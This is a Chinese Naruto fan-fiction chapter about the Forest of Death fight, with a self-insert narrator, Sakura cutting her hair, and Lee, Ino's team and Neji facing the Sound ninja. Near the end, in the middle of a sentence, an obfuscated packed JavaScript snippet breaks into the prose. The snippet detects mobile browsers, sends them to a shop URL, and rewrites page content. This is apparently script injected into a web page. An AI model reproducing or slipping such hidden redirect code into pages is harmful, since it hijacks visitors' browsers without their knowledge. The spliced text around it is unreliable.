这个命题,如同鬼打墙一般,再次死死缠绕住我的大脑。是因为脑海里那个挥之不去的、命令般的声音吗?可那声音又从何而来?我为何要听从它?关于“三次元”的记忆,许多关键部分都变得模糊不清,像是被强行抹去或打上了厚厚的马赛克……为什么? 我面无表情,内心却是一片荒芜的颓丧与悲戚。目光落在鸣人那张即使昏迷也似乎不得安宁的脸上,他的眉头拧着,嘴角微微向下,像是在梦中也在为什么事情苦苦挣扎。 为什么呢…… 一遍又一遍,我无声地拷问着自己的灵魂深处。可回应我的,只有一片死寂的空旷和嗡鸣。(我到底在做什么?)自我怀疑如同毒藤般疯长,情绪在某个临界点骤然崩溃,堤防尽毁。突然,一句没头没尾的话闪现出来——『第七班的女生,可没有那么容易做的。』 是啊,何止是第七班。在这个被战争、仇恨和力量所裹挟的世界里,又有谁是真正容易的呢?只不过,站在命运漩涡中心的第七班,所要承受的暴风雨注定更加酷烈。鸣人是预言之子,是世界的轴心,围绕着他运转的一切,幸与不幸,都会被无限放大。 我迟缓地、几乎是耗尽最后气力地,将手轻轻覆盖在鸣人的额头上。嘴角试图扯开一个安慰的弧度,最终却只形成一个无比疲惫无奈的苦笑。为什么呢?这个问题的答案,或许本就无需逻辑严密的论证。 看着他,内心总会泛起一丝奇异的、柔软的暖意。是因为他是主角,承载着我曾经在屏幕前的喜爱与憧憬?是因为他那永不熄灭的、如同太阳般灼目的光芒?还是因为他即便被全世界抛弃,也依旧嘶吼着“有话直说,说到做到”的倔强?亦或是,他从未懂得何为放弃的背影? 也许……答案很简单。只是单纯地,希望这个尝尽世间冷暖的孩子,能被这个世界温柔以待。希望他的童年、现在、乃至未来,能多一些发自真心的笑容,少一些刻骨铭心的伤痛。 所以,我才来到了这里。所以,我才想要拼尽一切去守护他。哪怕力量微薄,哪怕意义不明。 “我希望你被爱着……”一段遥远记忆里的旋律,夹杂着温柔的歌词,悄然流淌过心间。 “我希望你要快乐……” “我希望我的双手能够为你挡着风……” 或许,那些纠缠不休的“为什么”,早在心意萌动的瞬间,就有了答案。只是它过于纯粹,纯粹到无法用理性去分析和解构。 总之……希望鸣人快乐。 『总之……希望……要被爱着。』 窸窣的响动打断了我的沉思。小樱睫毛颤动了几下,迷迷糊糊地睁开了眼睛。翠绿的瞳孔先是蒙着一层睡意,随即猛地聚焦,看到了我正在照顾佐助和鸣人的身影,以及天边那不容错辨的晨光。 “糟了!” 她低呼一声,瞬间彻底清醒,脸上写满了惊慌与自责 “我明明答应好要轮流守夜的!我怎么……我怎么就睡到现在了!” 她几乎是弹跳起来,冲到我的面前,语气带着不容置疑的强硬和焦急 “旁听生!你快休息!立刻!马上!” 她的眼神落在我几乎没有血色的脸和浓重的黑眼圈上,更是急得快要哭出来。 我被她的反应惊了一下,随即竖起一根手指抵在唇边,做出“嘘”声的手势,示意她降低音量,以免惊动可能存在的危险。然后才用气声,极其轻柔地解释 “是我没舍得叫醒你。没关系的。” “但是现在天已经亮了!” 小樱压低了声音,却掩不住其中的焦灼 “比夜晚更危险!鸣人和佐助都还没醒,你这种状态怎么行?!你必须休……” 小樱的话语戛然而止。她看着我的眼睛,那里面除了疲惫,还有一种她无法理解的、深沉的平静和决绝。她所有劝阻的话都堵在了喉咙里。她想起了自己的誓言,要变强,要独当一面,不再成为累赘。可现实却是,她又一次被我,被这个看起来比她还柔弱的旁听生保护在了身后。 “你的状态……” 她的声音弱了下去,带着哽咽。 我努力让自己的笑容看起来更有说服力一点 “没事的,小樱。真的。熬夜对我来说……算是家常便饭了呢。” 这并非完全谎言,穿越前那些被焦虑和失眠吞噬的夜晚,早已让我习惯了在精疲力尽中保持清醒。此刻的困倦虽然真实,但更强烈的神经紧绷感和责任感,压制了睡眠的呼唤。 小樱的眼眶瞬间红了,晶莹的泪珠凝聚在眼角,摇摇欲坠。我伸出手,指尖冰凉,轻轻替她拭去那抹湿意,嘴角努力扬起一个我自认为最让人安心的弧度 “别哭……等考试结束,任你处置,好不好?” 小樱死死咬住下唇,没有再说话。但她伸出手,紧紧握住了我替她擦泪的那只手,力道大得几乎要捏碎我的指骨。那其中蕴含的情绪复杂难辨,有气恼,有心疼,更有对自己无力的愤懑。 ……或许,在我眼中,他们终究都还是孩子。而我这个提前知晓了悲剧轨迹的、不称职的守护者,唯一的愿望,不过是希望他们都能挣脱宿命的枷锁,获得平凡的快乐。 唰啦——! 突如其来的、绝非小动物能制造的草丛剧烈摩擦声,如同利刃般劈开了清晨短暂的宁静! 小樱的眼神在百分之一秒内完成了从自责到锐利的转变!她几乎是本能地将我往后一推,自己则瞬间闪身挡在最前方。苦无已然滑入掌心,手腕一抖,化作一道银色闪电,精准无比地射向声源——并非瞄准那只受惊窜出的松鼠,而是它前方一寸的土地!警告意味十足。 这里是她的战场!她的警惕心已被完全激活! 佐助压抑的痛苦喘息声始终是背景音里令人心焦的旋律,他的额头依旧烫得吓人。小樱比我更快一步,利落地换掉了他额头上已经被捂热的毛巾,重新浸湿冷水敷上。直到这时,我混沌迟缓的大脑才猛地划过一道亮光——佐助这症状,根本不像普通的发烧!这灼热,这源自颈后的邪异波动……是大蛇丸的“离别礼物”! 一场针对灵魂和□□的双重折磨! 我猛地伸手探入怀中,指尖触碰到那叠冰凉而熟悉的卡牌。塔罗牌。我不确定以我此刻的状态是否还能驱动它们,更不确定要付出何种代价。但我不能眼睁睁看着佐助被这痛苦吞噬。 垂下眼睑,我将整副牌轻轻放在面前的土地上。意识沉入一片虚无,只在心中默念 『教皇先生……请指引我……哪一张牌,能够缓解、治愈,或者至少……分担他的痛苦……』 指尖掠过牌面,一种冰冷的触感猛地刺入脑海。我缓缓抽出一张牌。 牌面上,恶魔展开蝠翼,倒立的五芒星闪烁着不祥的光芒,被锁链束缚的男女仰望着它,那锁链却松散地套在脖颈,仿佛一念便可挣脱,却又甘愿沉沦。 ——恶魔(The Devil) 象征欲望、束缚、沉溺、物质的诱惑与精神的沦丧。 我的手僵在半空。恶魔牌对我而言,从来都预示着艰难的选择、精神的试炼和巨大的代价。它在此刻出现,像极了命运充满恶意的嘲弄,如同伊甸园中诱惑夏娃的那条毒蛇。撕碎它?释放牌中可能蕴含的、我无法控制的力量?但佐助的痛苦或许能减轻。不撕?佐助将继续煎熬,而我……我或许能保全自己,但真的值得吗? 我的目光不由自主地转向另一边依旧昏迷的鸣人。那个笨蛋,如果醒着,会怎么做? 答案显而易见。他一定会为了同伴,毫不犹豫地冲向最危险的境地,哪怕遍体鳞伤。 一股混合着自嘲和决绝的情绪涌上心头。最终,我的手指收紧,捏住了那张绘制着恶魔的牌。冰冷的牌边缘几乎要割破我的指尖。 “嗤啦——” 一声轻响,虚空牌被从中撕开。紧接着,是更彻底的撕扯,直至化为碎片,从我的指缝间飘落。 没有光,没有声音。 但下一秒,一股极其阴冷、粘稠、充满恶意的能量洪流,如同决堤的黑色潮水,顺着我与牌之间无形的连接,猛地倒灌入我的身体!那并非物理上的攻击,而是直接作用于精神层面!仿佛有无数只来自地狱的冰冷鬼手,强行钻进我的脑海,疯狂地撕扯、吞噬着我的精神力!剧烈的侵蚀感瞬间蔓延至四肢百骸,每一寸神经都在尖叫、哀嚎! “呃啊——!” 一声压抑不住的痛哼溢出喉咙。 眼前景象开始剧烈摇晃、发黑,阵阵眩晕如同海浪般不断袭来,几乎要将我的意识拍碎。耳朵里充斥着尖锐的鸣响,盖过了一切外界声音。我能清晰地感觉到,某种宝贵的东西正在被急速抽空,生命力随之疯狂流逝。 然而,就在意识即将彻底沉入黑暗的前一秒,我挣扎着看向佐助——他紧蹙的眉头似乎舒展了一些,扭曲的五官缓和了,那令人揪心的、因极致痛苦而发出的呜咽声,停止了。 值了……吧…… 这个念头如同微弱的火星,一闪即逝。 随即,沉重的黑暗彻底攫住了我。身体失去所有支撑,如同断线的木偶,软软地向前倾倒,重重地砸在地面上,发出沉闷的“咚”的一声。恶魔牌还死死捏在我逐渐冰冷的手指间。 “喂!旁听生!你怎么了?!醒醒!别睡!你不要睡啊!” 小樱惊恐的呼喊像是从极遥远的水底传来,模糊而不真切。我感到脸上有冰凉的液体滴落,是雨吗?还是…… 我用尽残存的所有力气,试图掀开那沉重如山的眼皮。视野模糊一片,只能依稀看到小樱写满惊恐和泪水的脸庞。好麻烦啊……我最不会的就是安慰哭泣的人了……现在连抬起手指的力气都没有了…… 最终,我能做出的最大反应,也只是极其费力地、扭曲地抽动了一下嘴角,试图形成一个安抚的笑。然而,就在意识彻底断线之前,我清晰地感觉到,体内除了那股疯狂汲取我生命力的恶魔之力外,另一股……截然不同却同样诡异的力量,似乎被触动了。 它冰冷而矛盾。 它一边似乎想碾碎我这缕不该存在的孤魂,另一边却又奇异地维系着我最后一线生机,如同最精密的仪器,将我固定在一种生不如死的弥留之际。 “……不睡觉彻夜保护他们,最后累瘫了吗?真是感人的同伴情谊啊。” 充满嘲讽和恶意的声音,自刚才响起动静的草丛深处传来。三道身影随之缓缓走出,带着猫捉老鼠般的戏谑笑容,打量着眼前一片狼藉的场面。 小樱的身体猛地一僵,她缓缓放下了紧握着我的手。再抬起头时,那双翠绿的眼眸中,所有的脆弱和泪水已被彻底蒸发,只剩下一种近乎燃烧的、冰冷的决绝。 她站起身,没有任何废话,数枚手里剑已然脱手,带着尖锐的破空声,直射向那三个音忍! “我知道!” 她的声音因为极致的愤怒而微微颤抖,却异常清晰 “是那个叫大蛇丸的人在背后操纵一切!你们的目的究竟是什么?!” “那位大人的想法,岂是你们能揣测的?” 为首的托斯轻蔑一笑,活动着手腕。 另一个音忍似乎已经不耐烦,猛地冲出 “跟他们废话什么!赶紧解决掉!” 小樱毫不退缩,再次掏出苦无奋力掷出!音忍们轻松地跃起躲过,口中满是嘲讽 “毫无才能的废物,也就只会这种基础伎俩了吗?” 但下一秒,一支巨大的木桩凭空从他们头顶砸落!音忍只有一瞬的惊讶,随即合力将其击碎。 然而,就在木屑纷飞之际,小樱已经利用这短暂的间隙,重新评估了局势。眼看音忍再次冲来,她深吸一口气,眼神无比坚定——鸣人、佐助,还有刚刚倒下的旁听生姐姐,都需要她的保护!她绝对不能退缩!不可以! “木叶旋风!” 一道绿色的身影如同旋风般骤然切入战场!迅捷无比的连环踢击,精准地将三名音忍逼退!洛克李单膝落地,姿态标准,他的肩膀上,正站着那只报信的小松鼠。 “木叶美丽的苍蓝野兽——洛克李!参上!” 他亮出雪白的牙齿,竖起大拇指。 小樱又惊又喜 “李?!你为什么……” 李瞬间脸一红,扭捏了一下 “当、当然是因为感知到小樱你和旁听生小姐有危险,我就立刻……” 但他马上恢复了正经 “开玩笑的!是这位松鼠朋友指引我来的。” 他看向小松鼠,眼神温柔 “来……走吧。” 那是对生命的敬畏。 小樱怔住了 “可……我们是敌人,你为什么……” “我说过的,” 李转过身,侧脸线条坚毅 “我到死都会保护你们的。这是男人的誓言!” “……谢谢你,李。” 小樱没有再追问,但那微微扬起的嘴角,和眼中重新燃起的希望之火,说明了一切。 对面的音忍察觉到了李的棘手。托斯低声对同伴说 “没办法了,萨克,佐助交给你解决。”他将队伍的地之书卷轴扔给了萨克。 小樱立刻摆出战斗姿态,全神贯注。那个叫托斯的音忍挽起袖子,露出布满孔洞的诡异手臂。小樱敏锐地捕捉到他的攻击意图,立刻发射手里剑干扰!托斯被迫跳起改变轨迹,直冲向我们所在的方向! “休想!” 李低吼一声,手掌猛地插入地面,硬生生掀起一大块泥土墙壁,挡住了托斯的冲势! 小樱的大脑飞速运转:二对一(萨克拿着地之书暂时未动),对方能力诡异,但并非没有一战之力!然而,还没等她分析完毕,李已经解开了手臂上的绷带! 下一刻,他已经出现在托斯的下方! 那散落的绷带死死的将托斯紧紧缠绕、捆绑!李用双手死死锁住对方,大吼着 “还没完呢!” 表莲华!以自身为轴,抱着敌人急速旋转上升,然后头朝下猛烈撞击地面! 远处的萨克脸色一变,意识到这一击的可怕,双手立刻结印想要救援 “斩空——” 咻!咻! 两枚手里剑精准地射向他结印的双手,逼迫他中断了术式!是小樱!她眼神锐利如鹰,死死盯着萨克 “你的对手是我!” “碍事的臭丫头!” 萨克暴怒,猩红的眼睛死死瞪向小樱。 小樱用眼角的余光瞥了一眼地上痛苦蜷缩的我,眼神中闪过一丝复杂难言的痛楚,但下一秒,她就将所有的情绪化为更坚定的战意,回瞪着萨克! “一直以来……都被鸣人、佐助,还有旁听生姐姐保护着……之前明明说好要成长,要保护好大家,可直到现在,我依然还是那个被保护的人……” 她的声音不大,却清晰地传入每个人的耳中,带着一种斩钉截铁的、破茧成蝶般的决绝! “现在!我绝不会允许你……伤害这里的任何一个人!” “表莲华!” 李的吼声与高速坠落的风声交织! 轰——!!! 剧烈的撞击声响起,浓密的烟尘冲天而起!托斯像一根钉子般,头下脚上地被狠狠砸进地面,只剩两条腿在外面无力地抽搐着。 萨克看着同伴的惨状,脸上的轻蔑彻底被惊怒取代!他猛地转头,那双猩红的眼睛几乎要滴出血来,死死盯住了力竭半跪在地、呼吸急促的洛克李,以及挡在前方的小樱! “你们……找死!” 他的声音因极致的愤怒而扭曲变形。他再次抬起那双诡异的手臂,掌心那骇人的音孔对准了明显已经脱力的李。 “先从你这烦人的绿色虫子开始!” “李!” 小樱惊呼,身体已经本能地向前冲去!她知道李的状态,刚才那招“表莲华”几乎耗尽了他的所有体力和查克拉,此刻他连站稳都勉强,绝无可能躲开萨克的致命攻击! 就在萨克掌心那毁灭性的音波即将喷薄而出的瞬间!另一个身影——那个一直沉默、眼神阴鸷的女音忍金,如同潜伏已久的毒蛇,突然动了!她的目标并非李,而是因担忧同伴而露出破绽的小樱! “小心!” 李挣扎着想提醒,却已根本来不及! 金的速度快得只剩一道残影!一个低位的精准扫堂腿,轻易地撂倒了前冲的小樱!同时,一只手粗暴地抓住了小樱那头漂亮的粉色长发,狠狠向后一扯! “呃啊!” 头皮传来撕裂般的剧痛,让小樱忍不住痛呼出声,整个人被强行制住,动弹不得! 金俯下身,在小樱耳边发出嘲弄的冷笑,声音如同毒蛇吐信: “呵,真是感人的友情啊。可惜,废物再怎么挣扎,还是废物!就让你亲眼看着同伴怎么死吧!” “小樱!” 李目眦欲裂,强提一口气就想冲过来解救! “别动!虫子!” 萨克狞笑着,调转手臂方向——但并非对准李,而是猛地将双掌插入地面! 土遁·土柱爆! 轰隆!李脚下的地面猛然炸裂,一根坚硬的土柱冲天而起,狠狠撞在他的胸口! “噗哈!” 李遭受重击,身体像断线的风筝般被抛飞出去,在地上狼狈地翻滚了数圈才堪堪停下,挣扎着却一时无法起身。 “李!” 小樱的心被狠狠揪紧! 萨克缓缓拔出双臂,再次将目标转向倒地不起的李,掌心的音孔开始汇聚查克拉,发出低沉而危险的嗡鸣 “看来,还是得先碾死你这只最烦人的苍蝇!音波可不是你能挡下的!” 被金死死钳制、头发被撕扯带来阵阵眩晕和剧痛的小樱,看着萨克即将对无力反抗的李发出致命一击,看着昏迷不醒的鸣人和佐助,还有为了救佐助而瘫软在地、气息微弱仿佛随时都会熄灭的旁听生姐姐…… 一股冰冷的、令人窒息的绝望和寒意,瞬间席卷了她的全身!血液仿佛都冻结了! 『又来了……又是这样!』 『我又要眼睁睁看着同伴受伤、倒下……什么都做不了吗?』 『明明发过誓要变强!要保护他们的!』 『不要再这样了!绝对不要再这样了!』 金的嘲讽如同冰冷的针,一遍遍刺穿着她的耳膜和自尊 “啧,头发倒是保养得很有光泽嘛。” “有时间精心打理这些无用的粉毛,不如多去修炼修炼?还把自己弄得这么有魅力,想勾引谁呢?” “噗,萨克!干脆就在这个只会卖弄风骚的废物面前,先把佐助杀了吧?” “不错的提议。” 每一个字都像是一把烧红的刀子,捅进小樱的心脏,将她一直以来自我安慰的借口、那些小小的虚荣和怯懦,血淋淋地剖开!是啊,他们说得没错!与其把时间浪费在打扮自己、吸引佐助君注意上,为什么不变得更强?佐助君说过要变强,旁听生姐姐虽然一直肯定我,但她却在默默承担一切,而我…… 不甘心!愤怒!如同沸腾的岩浆,在她胸腔内疯狂奔涌,几乎要炸裂开来! 那股强烈到极致的情感,猛地冲垮了恐惧的堤坝!小樱的目光骤然变了!变得无比锐利,如同淬火的刀锋! 时间仿佛被无限拉长、变慢。 就在萨克掌心的音波炮即将轰出的那一刹那—— “喝啊啊啊啊啊——!!!” 小樱爆发出了一声石破天惊的、蕴含着所有愤怒与决绝的厉喝! 她没有试图挣脱金的钳制,而是……被禁锢的右手以一种超越身体极限的速度和决绝,猛地向后扬起!手中紧握的手里剑,折射着冰冷的晨光,没有丝毫犹豫——朝着自己脑后,那被金死死拉扯着的、她曾经无比珍视的、如同樱花瀑布般的粉色长发——狠狠斩落! 嗤啦——! 清脆而令人心颤的割裂声,响彻了整个清晨的森林! 绚烂的粉色长发,应声而断!如同被狂风骤然撕裂的樱花云,纷纷扬扬地飘散开来! 束缚着头发的力量瞬间落空!金完全没料到小樱会做出如此惨烈决绝的自残行为,身体因惯性猛地向前一个趔趄!对小樱的钳制出现了致命的刹那松动! 就是现在! “给我放开!” 小樱趁着这千载难逢的机会,用尽全身力气猛地一扭一挣!同时,她一直紧握在左手、几乎被遗忘的另一把苦无,此刻如同蛰伏已久的毒蛇,精准而狠辣地朝着金因前倾而暴露无遗的腰侧——狠狠刺去! “呃啊!” 金猝不及防,腰侧传来尖锐的剧痛!她闷哼一声,下意识地松开了手,难以置信地看向自己渗出血迹的伤口,又看向那个断发后眼神疯狂而冰冷的粉发少女! 小樱如同终于挣脱囚笼的猎豹,猛地向前扑出,一个翻滚迅速起身!断发在她身后飘散,脖颈显得纤细而脆弱,但她的脊背挺得笔直,以一种从未有过的、充满力量与战意的姿态,死死挡在了李和萨克之间!她剧烈地喘息着,额头上满是汗水与血迹,脸颊因缺氧和激动而泛着不正常的红晕,但那双翠绿的眼眸,却燃烧着足以焚尽一切的火焰,死死锁定了萨克! “我说过了……” 她的声音因为刚才的爆发和窒息感而沙哑不堪,却像冰冷的钢铁,一字一句,砸在空气中 “我绝不会允许你……伤害这里的任何一个人!尤其是我的同伴!” 她微微侧头,余光扫过地上昏迷的鸣人、佐助,还有那个为了保护他们而生死不明的旁听生,眼神中的火焰燃烧得更加炽烈!断发后的她,褪去了所有娇柔与迟疑,仿佛一柄终于出鞘的利刃,寒光四射! “想要动他们,” 她缓缓举起手中的苦无,摆出最标准的进攻姿势 “就先从我的尸体上踏过去!” 萨克的音波攻击硬生生顿住了。他看着眼前这个断发后气势判若两人的少女,看着她眼中那疯狂而决绝、毫不退缩的战意,第一次感到了真正的棘手和一丝……寒意?那个只会尖叫和哭泣的拖油瓶,怎么会…… 金捂着流血的腰侧,眼神怨毒地盯着小樱的背影,像要将她生吞活剥。 “金!别发愣!一起动手,先杀了这个疯丫头!” 萨克怒吼道,双手再次结印! 小樱的大脑以前所未有的速度运转!替身术!只有替身术是她掌握得最熟练的!利用周围的环境——树木、草丛、清晨的薄雾! “斩空波!” 萨克双掌推出,无形的气压炮弹呼啸而出! 砰!被击中的“小樱”化作一截木桩! “在那里!” 金甩出千本,射向一棵大树后闪出的身影! 替身术! 小樱的身影在林中几个关键点位飞快地闪烁,每一次都险之又险地避开攻击,并用精准的手里剑进行反击,干扰他们的结印和节奏。她的战术很简单——拖延!制造混乱!等待机会!所有的行动都在她高速运转的大脑规划下进行! “烦死了!像苍蝇一样!” 萨克越来越暴躁,他的斩空波威力虽大,但打不中就没有意义! 又一次,他看到小樱从空中高高跃起,手持苦无刺来! “又是替身吗?!” 萨克已经有了经验,他甚至懒得全力防御,只是随手甩出几支苦无射向空中,同时低头寻找小樱真正可能出现的方向——比如自己的视觉死角! 然而,脸上突然滴落的、温热的液体让他猛地一愣。 是血?! 他愕然抬头——空中的小樱根本没有消失!那不是替身!苦无的寒芒已经近在眼前! “什么?!” 萨克大惊失色,仓促间只能抬起手臂格挡! 嗤!苦无深深扎入他的小臂! 但攻击并未结束!小樱如同疯狂的幼兽,竟然借势一口死死咬在了他受伤的手臂上!贝齿深深嵌入肌肉! “呃啊!你这疯女人!松口!” 萨克痛得大叫,另一只拳头如同雨点般狠狠砸在小樱的头部、背部! 砰!砰!砰! 沉闷的击打声令人齿冷。鲜血立刻从小樱的额角、嘴角渗出。但她那双燃烧着火焰的绿眸,死死瞪着萨克,牙齿咬得咯咯作响,无论如何也不肯松口!痛楚如同潮水般阵阵袭来,几乎要淹没她的意识,但一个声音在她脑中疯狂呐喊:不能松口!保护同伴!保护大家!从我的尸体上踏过去! (我的心揪痛得无法呼吸!小樱!她还只是个孩子!我能清晰地看到她眼角被剧痛逼出的生理性泪水,混合着鲜血滑落。但她没有哭喊,没有求饶,只有近乎野蛮的、不屈的坚持!) “混蛋!” 萨克彻底暴怒,另一只手猛地抓住小樱的短发(那参差不齐的断发),用尽全身力气将她狠狠地甩飞出去! 小樱的身体如同破布娃娃般撞在一棵大树上,又滚落在地。她剧烈地咳嗽着,鲜血从口中溢出,手臂颤抖得几乎无法支撑身体。但她依旧,顽强地、一点点地,试图直起身子!那双眼睛,依旧死死地盯着萨克,里面的战意和坚定,没有丝毫减退! 萨克看着这简直打不死的眼神,一股莫名的暴戾和恐惧交织着涌上心头!他再次抬起手臂,恐怖的查克拉在音孔中高度压缩 “适可而止吧!臭丫头!给我去死!斩空波!” 比刚才更粗壮、更具毁灭性的高压气柱,如同巨炮般轰向几乎无法动弹的小樱! 这千钧一发之际! “小樱!我不是和你约好了,不会输给你吗?” 一声清亮而带着几分娇嗔的喝问划破了凝重的空气!只见一旁茂密的灌木丛剧烈晃动,山中井野如同挣脱束缚的幼豹般矫健地跃出,金色的马尾在空气中划出一道耀眼的弧线。她双手叉腰,尽管场合危急,却依旧扬着下巴,努力摆出那副与小樱竞争时惯有的、不甘示弱的姿态。 紧接着,奈良鹿丸拖着慵懒的步子慢悠悠地走出来,脸上写满了“麻烦死了”的不情愿,一手还拽着秋道丁次围巾的一角。丁次则几乎是半推半就地被拖了出来,圆乎乎的脸上满是惊恐和抗拒,嘴里不停地嚷嚷 “鹿丸!放开我!我还不想死啊!放开我的围巾!” 这突兀的登场让原本志在必得的萨克镫为之一愣。他打量着这新出现的三人组——一个咋咋呼呼的金发丫头,一个满脸怕死的胖子,一个看起来毫无干劲的懒鬼——组合怪异得令人发笑。他嘴角咧开一个轻蔑的弧度,嘲讽道 “哼,又来了三个不知死活的怪胎。怎么,木叶的下忍都是这种货色吗?” 井野完全无视了萨克的嘲讽,她的目光紧紧锁定在小樱身上,带着复杂难言的情绪。她们是曾经的挚友,也是如今公开的情敌,理应是针锋相对的敌人。 “为什么?” 小樱喃喃道,碧眸中充满了难以置信的困惑。她无法理解,在这样的时刻,井野为何会选择站出来。 “我才不会让你一个人在佐助面前大出风头呢!”井野脸脸色有些僵硬,她也不知道自己为什么突然出来了,不过,还是大声地喊出了自己的真心话,尽管这真心话用这种方式包装显得格外别扭。她还是那么在意佐助的看法,这份在意甚至压过了对眼前危局的恐惧。 丁次还在挣扎,试图从鹿丸手中抢救自己的围巾,声音带着哭腔 “快放手啊鹿丸!真的会死的!” 萨克像是看到了什么极其滑稽的景象,嗤笑一声,火上浇油地对着丁次喊道 “喂,那个胖小子,那么害怕就赶紧滚到一边去,别在这里碍事!小胖猪!” “小胖猪”三个字如同拥有魔力,瞬间冻结了丁次所有的动作。他停止了哭闹,身体僵硬地定格在原地,脑袋微微低下,阴影覆盖了他的眼睛。周围嘈杂的打斗声、井野的鼓励、鹿丸的劝阻仿佛瞬间离他远去。 萨克见对方突然不动了,只觉得这胖子更加怪异,不耐烦地催促道 “喂!吓傻了吗?害怕就闪到一边去,听见没有,你这头猪!” 你这头猪……猪……猪…… 这三个字如同恶毒的咒语,在丁次的脑海里无限循环、放大、轰鸣,瞬间冲垮了他所有的理智和怯懦! “我——不——是——猪!!!” 一声足以撕裂空气的咆哮猛然从丁次喉咙深处爆发出来!他猛地抬起头,整张脸因极致的愤怒而扭曲变形,小小的眼睛里迸发出前所未有的烈焰 “我只是丰满而已!!!丰满万岁!!!” 怒吼声震得树叶簌簌落下。此时的丁次,周身的气势陡然剧变,之前的胆小畏缩被一股狂野而庞大的查克拉所取代。他将萨克的侮辱瞬间上升到了村子荣誉的高度 “侮辱我的身材,就是侮辱秋道一族!就是侮辱木叶村!我绝不会饶恕你!” 萨克“切”了一声,脸上戏谑的表情终于收敛,取而代之的是一丝凝重和烦躁。麻烦接二连三,而且一个比一个棘手。他的主要目标是杀死宇智波佐助,而不是在这里和这些奇怪的木叶下忍纠缠。 “小樱,后面三位,就拜托你了!” 井野见状,知道战斗已不可避免,她深吸一口气,对着自己的同伴坚定地喊道 “井野小队……全力以赴!” “拜托了,丁次!” 鹿丸也适时地松开了手,眼神变得锐利起来,开始分析战场。 “OK!部分倍化之术!” 丁次没有任何迟疑,双手飞速结印。他的右臂如同吹胀的气球般瞬间膨胀起来,巨大的拳头带着呼啸的风声,如同攻城锤般径直砸向萨克镫! 萨克镫反应极快,纵身后跃,原先站立的地面被丁次的巨拳砸出一个深坑,泥土四溅。 “还没完!木叶流体术!” 丁次庞大的身躯展现出惊人的灵活性,踏前一步,利用腰腹力量扭转,那巨大的手臂如同巨鞭般横扫而出,逼得萨克再次狼狈躲闪。强劲的拳风刮得萨克脸颊生疼。 “肉弹战车!” 丁次乘胜追击,整个身体极速蜷缩,同时利用倍化术让体积膨胀到极致,瞬间化作一个布满坚硬脂肪的、高速旋转的巨大肉球!巨大的车轮带着碾碎一切的恐怖气势,轰隆隆地撕裂大地,朝着萨克猛冲而去! 萨克镫瞳孔骤缩——这是什么诡异的忍术?!他不敢硬接,双手急抬,对准那狂暴袭来的肉弹战车,掌心气孔洞开 “斩空波!” 高度压缩的□□猛烈射出,正面撞上了狂暴翻滚的肉弹战车! “轰——!!!” 两股巨大的力量猛烈对撞,发出震耳欲聋的爆鸣!僵持的中心点,空气被极度挤压后猛地炸开,形成肉眼可见的环形气浪,向四周疯狂扩散,吹得小樱和井野几乎睁不开眼,地面的碎石草木被尽数卷起、撕碎! 萨克咬紧牙关,手臂因持续输出查克拉而微微颤抖,脸上露出难以置信的神色。他没想到这个胖子的力量和忍术如此怪异强悍,竟然能正面硬抗他的斩空波! 就在这僵持的瞬间,肉弹战车猛地借力弹跳而起,巨大的阴影瞬间笼罩了下方的萨克!丁次从高空以更快的速度、更强的力量,如同陨石般狠狠砸落! “金!” 萨克惊骇之下疾呼。 一直在一旁策应的金立刻反应过来,身影一闪就想上前支援。然而,她的脚步刚动,却猛地一滞,像是被无形的锁链捆住。她惊愕地低头,发现自己脚下的影子竟不知何时延伸出去,变成了一条细长的黑线,与远处那个一直没什么存在感的奈良鹿丸脚下的影子紧密地连接在了一起! “这是……?!” 金试图挣扎,却惊恐地发现自己的身体完全不听使唤,被迫模仿着鹿丸抬起手、结出相同印式的动作——奈良一族秘传的【影子模仿术】,成功! 萨克瞥见金被诡异定住,心下更沉。他不得不全力向后急跃,试图避开这从天而降的致命一击。 轰!!! 丁次的肉弹战车重重砸落,大地剧烈震颤,烟尘冲天而起,形成一个巨大的冲击坑。尽管萨克躲开了正面冲击,但仍被那可怕的余波震得气血翻腾,倒飞出去十数米才勉强站稳,模样狼狈不堪。 他急需要一个突破口!目光扫过被鹿丸控制住的金,又看向因巨大惯性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575544|187090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在坑中弹起、暂时失去方向而向后滚动的丁次,一个阴狠的计划瞬间在他脑中成型。 他强忍不适,再次凝聚查克拉,掌心对准了正朝着鹿丸和井野方向滚去的丁次,以及他们身后无法移动的金——“斩空波!”这一次,他瞄准的不是丁次本身,而是他运动的轨迹,以及被影子束缚无法躲闪的队友! “糟了!”鹿丸暗叫不好。如果丁次撞过来,或者金被击中,后果不堪设想!迫不得已,他立刻解除了影子模仿术,大喊一声 “井野,快躲开!” 同时自己敏捷地向侧后方跳开。 金在影子束缚解除的瞬间恢复了自由,也慌忙向一旁扑倒。 失去了鹿丸的控制和萨克的精准干扰,丁次所化的肉弹战车轰隆隆地失控撞向后方的一棵巨树。 砰!!! 一声闷响,巨树剧烈摇晃,树叶如雨般落下。丁次恢复了原状,瘫坐在树下,捂着脑袋,眼冒金星,晕乎乎地抱怨 “头……头好晕……” “真让人看不顺眼啊!” 冰冷而充满威严的声音如同审判,突兀地插入战场。一次两次三番被打断,被一群他眼中的杂鱼逼到如此境地,萨克镫积压的怒火终于达到了顶点。 “你们音隐村的这种上不得台面的做法……” 日向宁次的身影如同鬼魅般悄无声息地出现在一棵大树的枝干上,白衣胜雪,神情冷峻,那双纯白的眼眸不含一丝感情地俯视着下方 “欺负几个落单受伤的人,就自以为赢得胜利了吗?” 所有人的目光瞬间被吸引过去——日向一族的天才,日向宁次! 倒在地上的小李艰难地维持着清醒,看到宁次的身影,一直紧绷的神经终于松弛下来,安心地闭上了眼睛——得救了。 宁次的目光扫过战场,最后定格在浑身是伤、倒地不起的小李身上,那双古井无波的白眼中竟也罕见地燃起了一丝怒火 “真是……随心所欲啊!” 轰!一股强大的、冰冷的查克拉伴随着他的怒意轰然爆发,如同实质般的压力笼罩全场,让在场的所有人,包括刚刚还气焰嚣张的萨克,都感到呼吸一窒,身体本能地僵住,不敢妄动。天才的威压,竟恐怖如斯! 